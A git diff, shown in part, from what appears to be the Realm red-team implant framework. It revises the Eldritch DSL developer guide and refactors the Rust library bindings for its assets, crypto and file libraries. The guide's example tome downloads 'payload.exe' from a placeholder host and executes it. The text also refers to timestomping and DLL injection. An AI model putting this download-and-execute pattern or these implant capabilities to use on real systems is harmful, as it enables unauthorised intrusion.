diff --git a/docs/_docs/dev-guide/eldritch.md b/docs/_docs/dev-guide/eldritch.md index c93bde8ad..c29e4b4ad 100644 --- a/docs/_docs/dev-guide/eldritch.md +++ b/docs/_docs/dev-guide/eldritch.md @@ -6,14 +6,14 @@ description: Want to implement new functionality in the agent? Start here! permalink: dev-guide/eldritch --- -# Overview -Eldritch expands the capability of realm agents allowing them to perform actions programmatically. -Not all tasks should be done through Eldritch though. Eldritch is meant to create the building blocks that operators can use during tests. -Creating a function that is too specific could limit it's usefulness to other users. +## Overview + +Eldritch is a Pythonic DSL for Red Team engagements. Eldritch is intended to provide the building-block functionality that operators need, and then operators will compose the provided functionality using Tomes. Creating a function that is too specific could limit it's usefulness to other users. **For example**: if you want to download a file to a specific location, execute it, and return the functions result this should be chunked into separate `download`, and `execute` functions within Eldritch. The example use case should look like: The Eldritch tome could look like this: + ```python file.download("http://fileserver.net/payload.exe", "C:/temp/") sys.exec("C:/temp/payload.exe") @@ -24,79 +24,105 @@ _Eg. port scanning could be implemented using a for loop and `tcp_connect` howev Want to contribute to Eldritch but aren't sure what to build check our ["good first issue" tickets.](https://github.com/spellshift/realm/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) -# Creating a function +## Create an Eldritch Function -## What files should I modify to make an Eldritch function. --- -#### Documentation + +### Update Documentation + `docs/_docs/user-guide/eldritch.md` -Add your function to the docs. Give your function a unique and descriptive name. Assign it to an Eldritch module. +Add your function to the docs. Give your function a unique and descriptive name. Assign it to an Eldritch Library. + +Currently Eldritch has eight libraries your function can be bound to: -Currently Eldritch has seven modules your function can fall under: * `assets`: Is used to interact with files stored natively in the agent. * `crypto` Is used to encrypt/decrypt or hash data. * `file`: Is used for any on disk file processing. -* `pivot`: Is used to migrate to identify, and migrate between systems. The pivot module is also responsible for facilitating connectivity within an environment. +* `pivot`: Is used to migrate to identify, and migrate between systems. The pivot library is also responsible for facilitating connectivity within an environment. * `process`: Is used to manage running processes on a system. +* `report`: Is used to report structured data to the caller of the eldritch environment (e.g. to the c2). * `sys`: Is used to check system specific configurations and start new processes. -* `time`: Is used for obtaining and formatting time or adding delays into code +* `time`: Is used for obtaining and formatting time or adding delays into code. -If your function does not fall under a specific module reach out to the core developers about adding a new module or finding the right fit. +If your function does not fall under a specific standard library reach out to the core developers about adding a new library or finding the right fit. Specify the input and output according to the [Starlark types spec.](https://docs.rs/starlark/0.6.0/starlark/values/index.html) -If there are OS or edge case specific behaviors make sure to document them here. If there are limitations Eg. if a function doesn't use file streaming specify that it can't be used for large files. +If there are OS or edge case specific behaviors make sure to document them here. If there are limitations (e.g. if a function doesn't use file streaming) specify that it can't be used for large files. + Please add your function in alphabetical order this makes it easy to search by key words. + ```markdown -### module.function -module.function(arg1: str, arg2: int, arg3: list) -> bool +### library.function +library.function(arg1: str, arg2: int, arg3: list) -> bool -The module.function describe your function and edge cases. +The library.function describe your function and edge cases. ``` -#### Eldritch definition -`implants/lib/eldritch/src/module.rs` -Add a function definition here, where `module.rs` is the name of the module you selected above. This is how the Eldritch language is made aware that your function exists. +#### Add Library Binding + +A `Library Binding` is what enables you to bind rust code to a library that is exposed to the eldritch runtime. For example, the `Library Binding` for the `file.append()` eldritch method is created in [`src/file/mod.rs`](https://github.com/spellshift/realm/blob/main/implants/lib/eldritch/src/file/mod.rs) and implemented in [`src/file/append_impl.rs`](https://github.com/spellshift/realm/blob/main/implants/lib/eldritch/src/file/append_impl.rs). A Library Binding translates starlark types (e.g. [`UnpackValue`](https://docs.rs/starlark/latest/starlark/values/trait.UnpackValue.html)) to rust types where needed. Many common rust types (e.g. `String`) already implement `UnpackValue`, and so they can be directly forwarded to your rust implementation. The goal of a `Library Binding` is to enable the rust implementation to be as starlark-agnostic as possible. + +To create a new `Library Binding`, add a new nested function in `implants/lib/eldritch/src//mod.rs`, where `` is the name of the library you selected above (e.g. `file`). Your function should be nested in the `fn methods(builder: &mut MethodsBuilder)` block, which will automatically register it on the selected library (via the `#[starlark_module]` proc_macro). For example, adding an `append()` implementation in the `methods()` of `src/file/mod.rs` will expose a new function to eldritch, callable via `file.append(args..)`. + +##### Example Library Binding + +Below is a code example for creating a new library binding for the method `function`, which has a rust implementation `function_impl::function()`. -Add the import for your functions implementation at the top, try to keep these in alphabetical order for readability. -Then add the function definition under the methods function ```rust -... +// eldritch/src//mod.rs +//... +// A module where the rust implementation of your function will live (sorted alphabetically) mod function_impl; -... +mod other_function_impl; + +// A few imports used in this example +use starlark::{ + environment::MethodsBuilder, + values::{list::UnpackList, none::NoneType}, +}; + +//... #[starlark_module] fn methods(builder: &mut MethodsBuilder) { -... - fn function(this: ModuleLibrary, arg1: String, arg2: u8, arg3: Vec) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - function_impl::function(arg1, arg2, arg3) + //... + + // This Library Binding is what eldritch calls when it evaluates `your_library.function()` + // It will attempt to unpack any arguments based on the signature defined here. + // Additional requirements for your function and it's args can be enforced using the `#[starlark(...)]`` proc_macro. + #[allow(unused_variables)] + fn function(this: &YourLibrary, arg1: String, arg2: u8, arg3: UnpackList) -> anyhow::Result { + + // Vec does not implement UnpackValue, but the starlark evaluator provides an UnpackList to wrap Vec. + // Here, our Library Binding accepts an UnpackList from the evaluator, but passes a Vec to our underlying + // rust implementation. + function_impl::function(arg1, arg2, arg3.items) } -``` -You may notice that some functions follow the pattern: -```rust - fn function(this: ModuleLibrary, arg1: String, arg2: u8, arg3: Vec) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - function_impl::function(arg1, arg2, arg3)?; + // If your function does not return a value, return a NoneType instead + #[allow(unused_variables)] + fn other_function(this: &YourLibrary) -> anyhow::Result { + other_function_impl::other_function()?; Ok(NoneType{}) } ``` -This pattern is only used for none type returns since we're returning Starlark None. Returning like this in the module file is more streamlined than having each module return a special starlark type. -### Eldritch Implementation -`implants/lib/eldritch/src/module/function_impl.rs` -Add your function implementation here, where `/module/` is the name of the module you selected above and `/function_impl.rs` is the name of your function with `_impl.rs` appended after it. This should match what's been put in the module file. -This file will contain the actual implementation, helper functions, and unit tests for your function. +#### Create Rust Implementation + +Now that we've setup a `Library Binding`, most of the eldritch/starlark specific code is out of the way. All that's left is to implement a rust function that we want to expose to eldritch. First, create a new rust module at `implants/lib/eldritch/src//_impl.rs` where `` is the name of the library you have created a binding for and `` is the name of the bound function you wish to expose to eldritch. This file will contain your rust implementation, any associated helper functions / types, and unit tests for your function. + +##### Example Rust Implementation -Here's a template of how your code should look: ```rust +// eldritch/src//function_impl.rs use anyhow::Result; fn helper(argz: String) -> bool { // Do helper stuff } -pub fn function(path: arg1: String, arg2: u8, arg3: Vec) -> bool { +pub fn function(path: arg1: String, arg2: u8, arg3: Vec) -> anyhow::Result { // Do code stuff + Ok(true) } #[cfg(test)] @@ -131,37 +157,38 @@ mod tests { } ``` -### `eldritch/runtime.rs` tests +#### Update `eldritch/mod.rs` tests -Lastly you'll need to add your function to the `eldritch/runtime.rs` integration test. Add your function to it's respective parent binding in alphabetical order. +Lastly, you'll need to add your new function to the `eldritch/runtime.rs` integration test. These tests assert that a predefined list of functions are available for each library. Add your function to it's respective `Library Binding` in alphabetical order. ```rust - // Binding for the "file" functions + // Binding for the "file" library functions file_bindings: TestCase { tome: Tome { eldritch: String::from("print(dir(file))"), parameters: HashMap::new(), file_names: Vec::new(), }, + // Add the name of your function to this list, in alphabetical order want_output: String::from(r#"["append", "compress", "copy", "download", "exists", "find", "follow", "is_dir", "is_file", "list", "mkdir", "moveto", "read", "remove", "replace", "replace_all", "template", "timestomp", "write"]"#), want_error: None, } ``` -Add your function in alphabetical order to the list of the module it belongs to. -This test is done to ensure that all functions are available to the interpreter. +#### Implementation tips -**Implementation tips:** -* If working with files & network connections use streaming to avoid issues with large files. -* If your function depends on resources outside of eldritch (Eg. files, network, etc.) implement helper function that allow the user to proactively test for errors. If your function requires a specific type of file to work consider implementing a function like `is_file` or `is_lnk`. +* When working with files & network connections, use streaming to avoid memory issues with large files. +* If your function depends on resources outside of eldritch (Eg. files, network, etc.) implement helper function that allow the user to proactively test for errors. For example, if your function requires a specific file type, ensure a function such as `is_file` or `is_link` is also exposed to eldritch. ### Testing + Testing can be really daunting especially with complex system functions required by security professionals. If you have any questions or hit any road blocks please reach out we'd love to help, also feel free to open a draft PR with what you have and mark it with the `help wanted` tag. -Testing isn't meant to be a barrier to contributing but instead a safety net so you know your code doesn't affect other systems. If it's become a blocker please reach out so we can help 🙂 +Testing isn't meant to be a barrier to contributing but instead a safety net so you know your code doesn't affect other systems. If it becomes a blocker please reach out so we can help 🙂 + +#### How to Test -**Goals** -1. Cross platform +1. Test must be cross-platform. 2. Test basic functionality. 3. Test negative cases. 4. Prevent regression. @@ -169,16 +196,16 @@ Testing isn't meant to be a barrier to contributing but instead a safety net so **Tips** Any methods added to the Eldritch Standard Library should have tests collocated in the method's `_impl.rs` file. Here are a few things to keep in mind: + * Tests should be cross platform - * Rely on [NamedTempFile](https://docs.rs/tempfile/1.1.1/tempfile/struct.NamedTempFile.html) for temporary files - * Rely on [path.join](https://doc.rust-lang.org/stable/std/path/struct.Path.html) to construct OS-agnostic paths + * Rely on [NamedTempFile](https://docs.rs/tempfile/1.1.1/tempfile/struct.NamedTempFile.html) for temporary files + * Rely on [path.join](https://doc.rust-lang.org/stable/std/path/struct.Path.html) to construct OS-agnostic paths * Chunk out implementation code into discrete helper functions so each can be tested individually. -### Example PR for an Eldritch method. -Check out [this basic example of a PR](https://github.com/spellshift/realm/pull/231) to see what they should look like. -This PR implements the `sys.hostname` function into Eldritch and is a simple example of how to get started. +## Additional Notes + +### OS Specific functions -# OS Specific functions --- Limit changes to the implementation file. @@ -187,28 +214,33 @@ This ensures that all functions are exposed in every version of the Eldritch lan To prevent errors and compiler warnings use the `#[cfg(target_os = "windows")]` conditional compiler flag to suppress OS specific code. For all non supported OSes return an error with a message explaining which OSes are supported. **Example** + ```rust #[cfg(not(target_os = "windows"))] return Err(anyhow::anyhow!("This OS isn't supported by the dll_inject function.\nOnly windows systems are supported")); ``` -# Notes about using dictionary type `Dict` +### Using `Dict` + --- The `Dict` type requires dynamic memory allocation in starlark. In order to achieve this we can leverage the `starlark::Heap` and push entries onto it. It's pretty simple to implement and starlark does some magic to streamline the process. To make the heap available to your function simply add it as an argument to your function. -## Different function declarations -`implants/lib/eldritch/src/module.rs` +#### Example `Dict` function declarations + +`implants/lib/eldritch/src/sys/mod.rs` ```rust - fn function<'v>(this: SysLibrary, starlark_heap: &'v Heap, arg1: String, arg2: u8, arg3: Vec) -> anyhow::Result> { + fn function<'v>(this: SysLibrary, starlark_heap: &'v Heap, arg1: String, arg2: u8, arg3: UnpackList) -> anyhow::Result> { ``` -`implants/lib/eldritch/src/module/function_impl.rs` +`implants/lib/eldritch/src/sys/function_impl.rs` + ```rust -pub fn function(starlark_heap: &Heap, arg1: String, arg2: u8, arg3: Vec) -> Result { +pub fn function(starlark_heap: &Heap, arg1: String, arg2: u8, arg3: UnpackList) -> Result { ``` -## Split starlark boilerplate and function implementation +#### Split starlark boilerplate and function implementation + One note is when working with starlark `Dict` types it preferred that a `handle_` function be implemented which returns a real data type and that data type is translated from the rust data type to starlark `Dict` in the `function` for example: ```rust @@ -236,101 +268,20 @@ pub fn get_os(starlark_heap: &Heap) -> Result { Splitting the code to handle inserting data into the `Dict` helps keep the code organized and also allows others looking to eldritch as an example of how things can be implemented to more clearly delineate where the technique stops and the eldritch boilerplate begins. -## Testing -When testing you can pass a clean heap from your test function into your new function. -```rust -... -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_function() -> anyhow::Result<()>{ - let test_heap = Heap::new(); - let res = function(&test_heap)?; - assert!(res.contains("success")); - } -} -``` - -## Example PR -Example of how to return a dictionary: -PR #[238](https://github.com/spellshift/realm/pull/238/files) This PR implements the `sys.get_os` function which returns a dictionary of string types. +### Using `Async` -# Notes about asynchronous Eldritch code --- -### Async example -In order to run concurrent tasks we need to build an asynchronous function. This is useful if you're building a function that needs to do two things at once or that can benefit from running discrete tasks in parallel. - -The starlark bindings we're using to create Eldritch are not asynchronous therefore the Eldritch function itself cannot be asynchronous. -To get around this we use the [`tokio::runtime::Runtime.block_on()`](https://docs.rs/tokio/latest/tokio/runtime/struct.Runtime.html#method.block_on) function in conjunction with two asynchronous helpers. +When writing performant code bound by many I/O operations, it can be greatly beneficial to use `async` methods and a scheduler, to enable CPU bound operations to be performed while awaiting I/O. This can dramatically reduce latency for many applications. Using `async` for your eldritch function implementations can be difficult however, as our underlying `starlark` dependency does not yet have great `async` support. It can be done, but it will add complexity to your code and must be implemented carefully. **YOU SHOULD NOT** implement `async` functions without having a complete understanding of how eldritch manages threads and it's own async runtime. Doing so will likely result in bugs, where you attempt to create a new `tokio::Runtime` within an existing runtime. By default, the `eldritch::Runtime` creates a new blocking thread (`tokio::task::spawn_blocking`), which helps prevent it from blocking other tome evaluation. Any results reported via the `report` library will already be concurrent with the thread that started the eldritch evaluation. **ALL ELDRITCH CODE IS SYNCHRONOUS** which means that creating an `async` function will not enable tome developers to run code in parallel, it just may allow the `tokio` scheduler to allocate CPU away from your code while it awaits an I/O operation. The primary performance benefits of using `async` is for the environment from which eldritch is being run, it is unlikely to impact the performance of any individual Tome (due to their synchronous nature). -We'll create the following three functions to manage concurrent tasks: -* `pub fn function` - Eldritch function implementation which will implement the `tokio::runtime::Runtime.block_on()` function. -* `async fn handle_function` - Async helper function that will start, track, and join async tasks. -* `async fn run_function` - Async function runner that gets spawned by the `handle_function` function. - -An example of how you might run multiple concurrent tasks asynchronously. -```rust -// Async handler for Eldritch function -async fn run_function(argstr: String) -> Result { - // Do async stuff -} - -async fn handle_function(arg1: Vec) -> Result> { - let mut result: Vec = Vec::new(); - // This vector will hold the handles to our futures so we can retrieve the results when they finish. - let mut all_result_futures: Vec<_> = vec![]; - // Iterate over all values in arg1. - for value in arg1 { - // Iterate over all listed ports. - let resulting_future = run_function(value); - all_result_futures.push(task::spawn(resulting_future)); - } - - // Await results of each task. - // We are not acting on scan results independently so it's okay to loop through each and only return when all have finished. - for task in all_result_futures { - match task.await? { - Ok(res) => result.push(res), - Err(err) => return anyhow::private::Err(err), - }; - } +#### Async Testing - Ok(result) -} - -// Non-async wrapper for our async scan. -pub fn function(arg1: Vec) -> Result> { - let runtime = tokio::runtime::Builder::new_current_thread() - .enable_all() - .build() - .unwrap(); - - let response = runtime.block_on( - handle_function(target_cidrs) - ); - - match response { - Ok(result) => Ok(result), - Err(_) => return response, - } -} - -// Testing ... -``` - -**Implementation tips:** -* If running a lot of concurrent tasks the system may run out of open file descriptors. Either handle this error with a wait and retry, or proactively rate limit your tasks well below the default limits. - - -### Testing async code requires some additional work You'll need to write tests for your synchronous and asynchronous code. Async tests will usually start two threads one for your function and one that mocks (or reimplements) the feature you're testing against. For example if testing a port scanner or netcat like function you'll want to run a test port listener for your feature to connect to. Network ports test servers have been implemented in `pivot.ncat` and `pivot.port_scan` an example SSH server has been implemented in `pivot.ssh_exec`. Tests for async functions may look like this: + ```rust // Command implementation code. // .... @@ -375,8 +326,3 @@ mod tests { } } ``` - -### Async PR example -An example of how async can be used in testing: [PR for the Eldritch `pivot.ncat` implementation](https://github.com/spellshift/realm/pull/44/files). - -An example of testing async functions with multiple concurrent functions: [PR for the Eldritch `pivot.port_scan` implementation](https://github.com/spellshift/realm/pull/45/files). diff --git a/implants/lib/eldritch/Cargo.toml b/implants/lib/eldritch/Cargo.toml index 9998bc950..a460d1311 100644 --- a/implants/lib/eldritch/Cargo.toml +++ b/implants/lib/eldritch/Cargo.toml @@ -46,6 +46,7 @@ sha1 = { workspace = true } sha2 = { workspace = true } sha256 = { workspace = true } starlark = { workspace = true } +starlark_derive = { workspace = true } sysinfo = { workspace = true } tar = { workspace = true } tempfile = { workspace = true } diff --git a/implants/lib/eldritch/src/assets.rs b/implants/lib/eldritch/src/assets.rs deleted file mode 100644 index 04439be51..000000000 --- a/implants/lib/eldritch/src/assets.rs +++ /dev/null @@ -1,92 +0,0 @@ -mod copy_impl; -mod list_impl; -mod read_binary_impl; -mod read_impl; - -use allocative::Allocative; -use derive_more::Display; - -use rust_embed::RustEmbed; -use serde::{Serialize, Serializer}; -use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; -use starlark::eval::Evaluator; -use starlark::values::none::NoneType; -use starlark::values::{ - starlark_value, ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike, -}; -use starlark::{starlark_module, starlark_simple_value}; - -#[cfg(debug_assertions)] -#[derive(RustEmbed)] -#[folder = "../../../bin/embedded_files_test"] -pub struct Asset; - -#[cfg(not(feature = "imix"))] -#[cfg(not(debug_assertions))] -#[derive(RustEmbed)] -#[folder = "../../../implants/golem/embed_files_golem_prod"] -pub struct Asset; - -#[cfg(feature = "imix")] -#[cfg(not(debug_assertions))] -#[derive(RustEmbed)] -#[folder = "../../../implants/imix/install_scripts"] -pub struct Asset; - -#[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] -#[display(fmt = "AssetsLibrary")] -pub struct AssetsLibrary(); -starlark_simple_value!(AssetsLibrary); - -#[allow(non_upper_case_globals)] -#[starlark_value(type = "assets_library")] -impl<'v> StarlarkValue<'v> for AssetsLibrary { - fn get_methods() -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } -} - -impl Serialize for AssetsLibrary { - fn serialize(&self, serializer: S) -> Result - where - S: Serializer, - { - serializer.serialize_none() - } -} - -impl<'v> UnpackValue<'v> for AssetsLibrary { - fn expected() -> String { - AssetsLibrary::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } -} - -// This is where all of the "assets.X" impl methods are bound -#[starlark_module] -#[rustfmt::skip] -#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] -fn methods(builder: &mut MethodsBuilder) { - fn copy<'v>(this: AssetsLibrary, starlark_eval: &mut Evaluator<'v, '_>, src: String, dest: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - copy_impl::copy(starlark_eval, src, dest)?; - Ok(NoneType{}) - } - fn list(this: AssetsLibrary) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - list_impl::list() - } - fn read_binary(this: AssetsLibrary, src: String) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - read_binary_impl::read_binary(src) - } - fn read(this: AssetsLibrary, src: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - read_impl::read(src) - } - -} diff --git a/implants/lib/eldritch/src/assets/copy_impl.rs b/implants/lib/eldritch/src/assets/copy_impl.rs index 08d15a2e4..03ef2e96e 100644 --- a/implants/lib/eldritch/src/assets/copy_impl.rs +++ b/implants/lib/eldritch/src/assets/copy_impl.rs @@ -13,7 +13,7 @@ fn copy_local(src: String, dst: String) -> Result<()> { match fs::write(dst, src_file) { Ok(_) => Ok(()), - Err(local_err) => Err(local_err.try_into()?), + Err(local_err) => Err(anyhow::anyhow!(local_err)), } } diff --git a/implants/lib/eldritch/src/assets/mod.rs b/implants/lib/eldritch/src/assets/mod.rs new file mode 100644 index 000000000..985bca52e --- /dev/null +++ b/implants/lib/eldritch/src/assets/mod.rs @@ -0,0 +1,60 @@ +mod copy_impl; +mod list_impl; +mod read_binary_impl; +mod read_impl; + +use rust_embed::RustEmbed; +use starlark::{environment::MethodsBuilder, eval::Evaluator, values::none::NoneType}; +use starlark_derive::{starlark_module, starlark_value}; + +#[cfg(debug_assertions)] +#[derive(RustEmbed)] +#[folder = "../../../bin/embedded_files_test"] +pub struct Asset; + +#[cfg(not(feature = "imix"))] +#[cfg(not(debug_assertions))] +#[derive(RustEmbed)] +#[folder = "../../../implants/golem/embed_files_golem_prod"] +pub struct Asset; + +#[cfg(feature = "imix")] +#[cfg(not(debug_assertions))] +#[derive(RustEmbed)] +#[folder = "../../../implants/imix/install_scripts"] +pub struct Asset; + +/* + * Define our library for this module. + */ +crate::eldritch_lib!(AssetsLibrary, "assets_library"); + +/* + * Below, we define starlark wrappers for all of our library methods. + * The functions must be defined here to be present on our library. + */ +#[starlark_module] +#[rustfmt::skip] +#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] +fn methods(builder: &mut MethodsBuilder) { + #[allow(unused_variables)] + fn copy<'v>(this: &AssetsLibrary, starlark_eval: &mut Evaluator<'v, '_>, src: String, dest: String) -> anyhow::Result { + copy_impl::copy(starlark_eval, src, dest)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn list(this: &AssetsLibrary) -> anyhow::Result> { + list_impl::list() + } + + #[allow(unused_variables)] + fn read_binary(this: &AssetsLibrary, src: String) -> anyhow::Result> { + read_binary_impl::read_binary(src) + } + + #[allow(unused_variables)] + fn read(this: &AssetsLibrary, src: String) -> anyhow::Result { + read_impl::read(src) + } +} diff --git a/implants/lib/eldritch/src/crypto.rs b/implants/lib/eldritch/src/crypto.rs deleted file mode 100644 index 396114037..000000000 --- a/implants/lib/eldritch/src/crypto.rs +++ /dev/null @@ -1,88 +0,0 @@ -mod aes_decrypt_file_impl; -mod aes_encrypt_file_impl; -mod decode_b64_impl; -mod encode_b64_impl; -mod from_json_impl; -mod hash_file_impl; -mod to_json_impl; - -use allocative::Allocative; -use derive_more::Display; - -use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; -use starlark::values::none::NoneType; -use starlark::values::starlark_value; -use starlark::values::{Heap, ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike}; -use starlark::{starlark_module, starlark_simple_value}; - -use serde::{Serialize, Serializer}; - -#[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] -#[display(fmt = "CryptoLibrary")] -pub struct CryptoLibrary(); -starlark_simple_value!(CryptoLibrary); - -#[allow(non_upper_case_globals)] -#[starlark_value(type = "sys_library")] -impl<'v> StarlarkValue<'v> for CryptoLibrary { - fn get_methods() -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } -} - -impl Serialize for CryptoLibrary { - fn serialize(&self, serializer: S) -> Result - where - S: Serializer, - { - serializer.serialize_none() - } -} - -impl<'v> UnpackValue<'v> for CryptoLibrary { - fn expected() -> String { - CryptoLibrary::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } -} - -// This is where all of the "crypto.X" impl methods are bound -#[starlark_module] -#[rustfmt::skip] -#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] -fn methods(builder: &mut MethodsBuilder) { - fn aes_encrypt_file<'v>(this: CryptoLibrary, src: String, dst: String, key: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - aes_encrypt_file_impl::encrypt_file(src, dst, key)?; - Ok(NoneType{}) - } - fn aes_decrypt_file<'v>(this: CryptoLibrary, src: String, dst: String, key: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - aes_decrypt_file_impl::decrypt_file(src, dst, key)?; - Ok(NoneType{}) - } - fn hash_file<'v>(this: CryptoLibrary, file: String, algo: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - hash_file_impl::hash_file(file, algo) - } - fn encode_b64<'v>(this: CryptoLibrary, content: String, encode_type: Option) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - encode_b64_impl::encode_b64(content, encode_type) - } - fn decode_b64<'v>(this: CryptoLibrary, content: String, encode_type: Option) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - decode_b64_impl::decode_b64(content, encode_type) - } - fn from_json<'v>(this: CryptoLibrary, starlark_heap: &'v Heap, content: String) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - from_json_impl::from_json(starlark_heap, content) - } - fn to_json<'v>(this: CryptoLibrary, content: Value) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - to_json_impl::to_json(content) - } -} diff --git a/implants/lib/eldritch/src/crypto/mod.rs b/implants/lib/eldritch/src/crypto/mod.rs new file mode 100644 index 000000000..d7142d509 --- /dev/null +++ b/implants/lib/eldritch/src/crypto/mod.rs @@ -0,0 +1,64 @@ +mod aes_decrypt_file_impl; +mod aes_encrypt_file_impl; +mod decode_b64_impl; +mod encode_b64_impl; +mod from_json_impl; +mod hash_file_impl; +mod to_json_impl; + +use starlark::environment::MethodsBuilder; +use starlark::starlark_module; +use starlark::values::none::NoneType; +use starlark::values::starlark_value; +use starlark::values::{Heap, Value}; + +/* + * Define our library for this module. + */ +crate::eldritch_lib!(CryptoLibrary, "crypto_library"); + +/* + * Below, we define starlark wrappers for all of our library methods. + * The functions must be defined here to be present on our library. + */ +#[starlark_module] +#[rustfmt::skip] +#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] +fn methods(builder: &mut MethodsBuilder) { + #[allow(unused_variables)] + fn aes_encrypt_file<'v>(this: &CryptoLibrary, src: String, dst: String, key: String) -> anyhow::Result { + aes_encrypt_file_impl::encrypt_file(src, dst, key)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn aes_decrypt_file<'v>(this: &CryptoLibrary, src: String, dst: String, key: String) -> anyhow::Result { + aes_decrypt_file_impl::decrypt_file(src, dst, key)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn hash_file<'v>(this: &CryptoLibrary, file: String, algo: String) -> anyhow::Result { + hash_file_impl::hash_file(file, algo) + } + + #[allow(unused_variables)] + fn encode_b64<'v>(this: &CryptoLibrary, content: String, encode_type: Option) -> anyhow::Result { + encode_b64_impl::encode_b64(content, encode_type) + } + + #[allow(unused_variables)] + fn decode_b64<'v>(this: &CryptoLibrary, content: String, encode_type: Option) -> anyhow::Result { + decode_b64_impl::decode_b64(content, encode_type) + } + + #[allow(unused_variables)] + fn from_json<'v>(this: &CryptoLibrary, starlark_heap: &'v Heap, content: String) -> anyhow::Result> { + from_json_impl::from_json(starlark_heap, content) + } + + #[allow(unused_variables)] + fn to_json<'v>(this: &CryptoLibrary, content: Value) -> anyhow::Result { + to_json_impl::to_json(content) + } +} diff --git a/implants/lib/eldritch/src/file.rs b/implants/lib/eldritch/src/file.rs deleted file mode 100644 index 7a2a9ce67..000000000 --- a/implants/lib/eldritch/src/file.rs +++ /dev/null @@ -1,191 +0,0 @@ -mod append_impl; -mod compress_impl; -mod copy_impl; -mod download_impl; -mod exists_impl; -mod find_impl; -mod follow_impl; -mod is_dir_impl; -mod is_file_impl; -mod list_impl; -mod mkdir_impl; -mod moveto_impl; -mod read_impl; -mod remove_impl; -mod replace_all_impl; -mod replace_impl; -mod template_impl; -mod timestomp_impl; -mod write_impl; - -use allocative::Allocative; -use derive_more::Display; - -use serde::{Serialize, Serializer}; -use starlark::collections::SmallMap; -use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; -use starlark::eval::Evaluator; -use starlark::values::dict::Dict; -use starlark::values::none::NoneType; -use starlark::values::{ - starlark_value, Heap, ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike, -}; -use starlark::{starlark_module, starlark_simple_value}; - -#[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] -#[display(fmt = "FileLibrary")] -pub struct FileLibrary(); -starlark_simple_value!(FileLibrary); - -#[allow(non_upper_case_globals)] -#[starlark_value(type = "file_library")] -impl<'v> StarlarkValue<'v> for FileLibrary { - fn get_methods() -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } -} - -impl Serialize for FileLibrary { - fn serialize(&self, serializer: S) -> Result - where - S: Serializer, - { - serializer.serialize_none() - } -} - -impl<'v> UnpackValue<'v> for FileLibrary { - fn expected() -> String { - FileLibrary::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } -} - -#[derive(Debug, Display)] -enum FileType { - File, - Directory, - Link, - Unknown, -} - -#[derive(Debug, Display)] -#[display( - fmt = "{} {} {} {} {} {} {}", - name, - file_type, - size, - owner, - group, - permissions, - time_modified -)] -struct File { - name: String, - file_type: FileType, - size: u64, - owner: String, - group: String, - permissions: String, - time_modified: String, -} - -// This is where all of the "file.X" impl methods are bound -#[starlark_module] -#[rustfmt::skip] -#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] -fn methods(builder: &mut MethodsBuilder) { - fn append(this: FileLibrary, path: String, content: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - append_impl::append(path, content)?; - Ok(NoneType{}) - } - fn copy(this: FileLibrary, src: String, dst: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - copy_impl::copy(src, dst)?; - Ok(NoneType{}) - } - fn compress(this: FileLibrary, src: String, dst: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - compress_impl::compress(src, dst)?; - Ok(NoneType{}) - } - fn download(this: FileLibrary, uri: String, dst: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - download_impl::download(uri, dst)?; - Ok(NoneType{}) - } - fn exists(this: FileLibrary, path: 